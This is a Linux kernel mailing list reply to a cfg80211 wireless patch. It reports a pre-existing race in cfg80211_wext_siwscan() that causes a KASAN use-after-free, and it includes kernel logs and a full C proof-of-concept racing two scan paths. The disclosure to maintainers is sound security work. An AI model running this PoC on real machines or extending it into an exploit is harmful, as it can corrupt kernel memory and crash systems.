* Re: [PATCH] wifi: cfg80211: Fix an error handling path in cfg80211_wext_siwscan()
2026-06-20 19:48 [PATCH] wifi: cfg80211: Fix an error handling path in cfg80211_wext_siwscan() Christophe JAILLET
@ 2026-06-22 5:25 ` XIAO WU
2026-06-27 11:45 ` Markus Elfring
0 siblings, 1 reply; 3+ messages in thread
From: XIAO WU @ 2026-06-22 5:25 UTC (permalink / raw)
To: Christophe JAILLET, Johannes Berg, John W. Linville
Cc: linux-kernel, kernel-janitors, linux-wireless
Hi Christophe,
Thanks for this fix — the memory leak on the essid_len check failure
path is clearly a bug.
I came across an automated AI code review of this function on the Sashiko
platform[1] that identified a pre-existing race condition in this code
path, and I was able to independently verify it triggers a real
KASAN-detected use-after-free by testing with the mac80211_hwsim driver
in QEMU.
TL;DR: The lockless `rdev->scan_req` check in
cfg80211_wext_siwscan() races with nl80211_trigger_scan(). I was able
to trigger a KASAN slab-use-after-free in ieee80211_scan_work via a
barrier-synchronized two-thread race between SIOCSIWSCAN and
NL80211_CMD_TRIGGER_SCAN.
(This is a pre-existing issue, not introduced by your patch — your fix
is still correct.)
> diff --git a/net/wireless/scan.c b/net/wireless/scan.c
> @@ -3612,8 +3612,10 @@ int cfg80211_wext_siwscan(struct net_device *dev,
> /* translate "Scan for SSID" request */
> if (wreq) {
> if (wrqu->data.flags & IW_SCAN_THIS_ESSID) {
> - if (wreq->essid_len > IEEE80211_MAX_SSID_LEN)
> - return -EINVAL;
> + if (wreq->essid_len > IEEE80211_MAX_SSID_LEN) {
> + err = -EINVAL;
> + goto out;
> + }
This fix is correct — the old code leaked `creq`. However, earlier in
the same function (around line 3530):
if (rdev->scan_req || rdev->scan_msg)
return -EBUSY;
This check is done WITHOUT holding the wiphy mutex. Meanwhile,
nl80211_trigger_scan() acquires the wiphy via `pre_doit` before setting
`rdev->scan_req`. The race is:
Thread A (wext) | Thread B (nl80211)
|
check rdev->scan_req | (wiphy lock acquired by pre_doit)
→ NULL, proceeds | check rdev->scan_req → NULL
| set rdev->scan_req = req_B
| rdev_scan(rdev, req_B)
acquire wiphy lock |
rdev->scan_req = req_A | ← req_B pointer LOST, overwritten
rdev_scan(rdev, req_A) |
When the scan completes, `cfg80211_scan_done()` detects the mismatch:
```
WARNING: net/wireless/scan.c:1199: intreq != rdev->scan_req
&& intreq != rdev->int_scan_req
```
I was able to reproduce this reliably using mac80211_hwsim with a
barrier-synchronized two-thread PoC. The kernel was 7.1.0 with
CONFIG_KASAN=y, CONFIG_CFG80211_WEXT=y, CONFIG_MAC80211_HWSIM=y.
The WARN_ON from cfg80211_scan_done():
```
[ 619.100917][ T27] ------------[ cut here ]------------
[ 619.101461][ T27] intreq != rdev->scan_req && intreq !=
rdev->int_scan_req
[ 619.101465][ T27] WARNING: net/wireless/scan.c:1199 at
cfg80211_scan_done+0x19e/0x530
[ 619.114641][ T27] Call Trace:
[ 619.115207][ T27] ? __pfx_cfg80211_scan_done+0x10/0x10
[ 619.116536][ T27] __ieee80211_scan_completed+0x34c/0xe50
[ 619.117049][ T27] ieee80211_scan_work+0x3f6/0x2090
[ 619.119819][ T27] cfg80211_wiphy_work+0x2c3/0x550
[ 619.121271][ T27] process_one_work+0xa0b/0x1c50
[ 619.122261][ T27] worker_thread+0x6df/0xf30
```
Followed by a KASAN slab-use-after-free in ieee80211_scan_work:
```
[ 614.882691][ T1114] BUG: KASAN: slab-use-after-free in
ieee80211_scan_work+0x1db4/0x2090
[ 614.883408][ T1114] Read of size 4 at addr ffff88811a135024 by task
kworker/u10:4/1114
[ 614.900665][ T1114] Allocated by task 9513:
[ 614.901042][ T1114] kasan_save_stack+0x33/0x60
[ 614.902284][ T1114] __kmalloc_noprof+0x31e/0x7f0
[ 614.902719][ T1114] nl80211_trigger_scan+0x4e3/0x1fb0
[ 614.903701][ T1114] genl_rcv_msg+0x561/0x800
[ 614.907688][ T1114] Freed by task 1114:
[ 614.908036][ T1114] kasan_save_stack+0x33/0x60
[ 614.909741][ T1114] kfree+0x165/0x710
[ 614.910085][ T1114] ___cfg80211_scan_done+0x44b/0x9a0
[ 614.913247][ T1114] The buggy address is located 36 bytes inside of
[ 614.913247][ T1114] freed 2048-byte region [ffff88811a135000,
ffff88811a135800)
```
The PoC uses pthread barrier synchronization to force both paths through
the lockless check simultaneously. It runs on wlan0 created by
mac80211_hwsim (modprobe mac80211_hwsim radios=2).
Full PoC (compile with: gcc -Wall -o poc poc.c -lpthread):
```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <net/if.h>
#include <linux/if.h>
#include <linux/netlink.h>
#include <linux/genetlink.h>
#include <linux/nl80211.h>
#include <linux/wireless.h>
static char ifname[IFNAMSIZ] = "wlan0";
static int nl80211_fid = -1;
static int nl_sock = -1;
static volatile int stop = 0;
static int wext_ok, nl_ok;
static pthread_barrier_t barrier_go;
static int resolve_nl80211(void)
{
char buf[4096];
struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
struct genlmsghdr *genlh;
struct nlattr *attr;
int ret;
memset(buf, 0, sizeof(buf));
nlh->nlmsg_len = NLMSG_HDRLEN + GENL_HDRLEN +
NLA_HDRLEN + sizeof(NL80211_GENL_NAME);
nlh->nlmsg_type = GENL_ID_CTRL;
nlh->nlmsg_flags = NLM_F_REQUEST;
nlh->nlmsg_seq = 1;
genlh = (struct genlmsghdr *)(buf + NLMSG_HDRLEN);
genlh->cmd = CTRL_CMD_GETFAMILY;
genlh->version = 1;
attr = (struct nlattr *)(buf + NLMSG_HDRLEN + GENL_HDRLEN);
attr->nla_type = CTRL_ATTR_FAMILY_NAME;
attr->nla_len = NLA_HDRLEN + sizeof(NL80211_GENL_NAME);
memcpy((char *)attr + NLA_HDRLEN, NL80211_GENL_NAME,
sizeof(NL80211_GENL_NAME));
ret = sendto(nl_sock, buf, nlh->nlmsg_len, 0,
(struct sockaddr *)&sa, sizeof(sa));
if (ret < 0) return -1;
ret = recv(nl_sock, buf, sizeof(buf), 0);
if (ret < 0) return -1;
nlh = (struct nlmsghdr *)buf;
if (!NLMSG_OK(nlh, (unsigned int)ret)) return -1;
genlh = (struct genlmsghdr *)NLMSG_DATA(nlh);
char *data = (char *)NLMSG_DATA(nlh) + GENL_HDRLEN;
int left = ret - (data - (char *)nlh);
while (left >= (int)sizeof(struct nlattr)) {
attr = (struct nlattr *)data;
int al = NLA_ALIGN(attr->nla_len);
if (al > left || al < (int)sizeof(struct nlattr)) break;
if (attr->nla_type == CTRL_ATTR_FAMILY_ID) {
nl80211_fid = *(uint16_t *)((char *)attr + NLA_HDRLEN);
return 0;
}
data += al; left -= al;
}
return -1;
}
/* Send NL80211_CMD_TRIGGER_SCAN via generic netlink */
static int send_nlscan(void)
{
char buf[512];
struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
int ifindex = if_nametoindex(ifname);
if (ifindex <= 0) return -1;
struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
struct genlmsghdr *genlh;
struct nlattr *attr;
memset(buf, 0, sizeof(buf));
nlh->nlmsg_type = nl80211_fid;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
nlh->nlmsg_seq = 1;
genlh = (struct genlmsghdr *)(buf + NLMSG_HDRLEN);
genlh->cmd = NL80211_CMD_TRIGGER_SCAN;
genlh->version = 1;
char *ptr = buf + NLMSG_HDRLEN + GENL_HDRLEN;
attr = (struct nlattr *)ptr;
attr->nla_type = NL80211_ATTR_IFINDEX;
attr->nla_len = NLA_HDRLEN + 4;
*(int *)(ptr + NLA_HDRLEN) = ifindex;
ptr += NLA_ALIGN(attr->nla_len);
nlh->nlmsg_len = ptr - buf;
return sendto(nl_sock, buf, nlh->nlmsg_len, 0,
(struct sockaddr *)&sa, sizeof(sa));
}
/* nl80211 thread: waits for barrier, fires scan request */
static void *nl_thread(void *arg)
{
(void)arg;
cpu_set_t cpus; CPU_ZERO(&cpus); CPU_SET(1, &cpus);
sched_setaffinity(0, sizeof(cpus), &cpus);
while (!stop) {
pthread_barrier_wait(&barrier_go);
if (stop) break;
/*
* nl80211_trigger_scan() holds wiphy via pre_doit.
* rdev->scan_req check at line ~11115 — lockless with
* respect to the wext path.
*/
if (send_nlscan() == 0)
__sync_fetch_and_add(&nl_ok, 1);
/* drain the ACK */
char buf[4096];
struct timeval tv = { .tv_sec = 5 };
setsockopt(nl_sock, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
recv(nl_sock, buf, sizeof(buf), 0);
}
return NULL;
}
int main(void)
{
pthread_t nt;
struct sockaddr_nl sa;
setbuf(stdout, NULL);
signal(SIGPIPE, SIG_IGN);
printf("PoC: wext vs nl80211 scan race (barrier sync)\n\n");
/* bring wlan0 up */
int s = socket(AF_INET, SOCK_DGRAM, 0);
struct ifreq ifr;
memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, ifname, IFNAMSIZ - 1);
ioctl(s, SIOCGIFFLAGS, &ifr);
ifr.ifr_flags |= IFF_UP;
ioctl(s, SIOCSIFFLAGS, &ifr);
close(s);
/* set up generic netlink for nl80211 */
nl_sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
memset(&sa, 0, sizeof(sa));
sa.nl_family = AF_NETLINK;
bind(nl_sock, (struct sockaddr *)&sa, sizeof(sa));
if (resolve_nl80211() < 0) {
fprintf(stderr, "nl80211 resolve failed\n");
return 1;
}
printf("nl80211 family: %d\n", nl80211_fid);
pthread_barrier_init(&barrier_go, NULL, 2);
pthread_create(&nt, NULL, nl_thread, NULL);
cpu_set_t cpus; CPU_ZERO(&cpus); CPU_SET(0, &cpus);
sched_setaffinity(0, sizeof(cpus), &cpus);
for (int i = 0; i < 20000; i++) {
/*
* Barrier: fire both paths simultaneously.
*
* wext: checks rdev->scan_req at scan.c:~3530
* WITHOUT wiphy lock → lockless relative to nl80211.
* nl: holds wiphy from pre_doit.
*/
pthread_barrier_wait(&barrier_go);
/* wext path: SIOCSIWSCAN with IW_SCAN_THIS_ESSID */
int fd = socket(AF_INET, SOCK_DGRAM, 0);
if (fd >= 0) {
struct iwreq wrq;
struct iw_scan_req sr;
memset(&wrq, 0, sizeof(wrq));
memset(&sr, 0, sizeof(sr));
strncpy(wrq.ifr_name, ifname, IFNAMSIZ - 1);
sr.essid_len = 5;
memcpy(sr.essid, "test", 5);
wrq.u.data.flags = IW_SCAN_THIS_ESSID;
wrq.u.data.length = sizeof(sr);
wrq.u.data.pointer = (caddr_t)&sr;
if (ioctl(fd, SIOCSIWSCAN, &wrq) == 0)
wext_ok++;
close(fd);
}
if (i % 2000 == 1999)
printf("[%d] wext=%d nl=%d\n", i + 1, wext_ok, nl_ok);
}
stop = 1;
pthread_barrier_wait(&barrier_go);
pthread_join(nt, NULL);
printf("\nFinal: wext=%d nl=%d\n", wext_ok, nl_ok);
if (wext_ok > 0 && nl_ok > 0) {
printf("RACE HIT! Both scan paths succeeded.\n"
"Run: dmesg | grep -E 'WARNING|KASAN|cfg80211_scan'\n");
fflush(stdout);
sleep(3);
system("dmesg | grep -iE 'WARNING|KASAN|cfg80211_scan' | tail
-20");
}
close(nl_sock);
return 0;
}
```
[1]
https://sashiko.dev/#/patchset/a1be7eea4da0da18f90589af252bb76a18a61978.1781984889.git.christophe.jaillet%40wanadoo.fr
Thanks,
Xiao
^ permalink raw reply [flat|nested] 3+ messages in thread